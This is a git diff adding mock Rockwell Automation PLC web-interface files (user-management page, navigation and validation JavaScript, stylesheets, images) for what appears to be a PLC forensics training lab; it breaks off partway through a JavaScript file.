b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers.html new file mode 100644 index 000000000..727debbbe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers.html new file mode 100644 index 000000000..4482eb017 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers.html @@ -0,0 +1,142 @@ + + +Rockwell Automation + + + + + + + + + +
+ + + + + + + + +
Edit UsersEdit Access Limits
+ + + + + + + +

+ + + + +
+ + + +
+ + + + + + + + + + + + + + + + + + + + + +
DeleteEditUser NameGroup
Administrator Administrators
ftpuser Administrators
Guest Administrators
+
+ + + +
+ + + + + + + + + + + + + +
Add a + User
User ID:
Group:
Password:
Confirm Password:
+
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/delete.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/delete.bmp new file mode 100644 index 000000000..5103109e9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/delete.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/edit.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/edit.bmp new file mode 100644 index 000000000..fcabcf210 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/edit.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/editusers_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editusers_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = 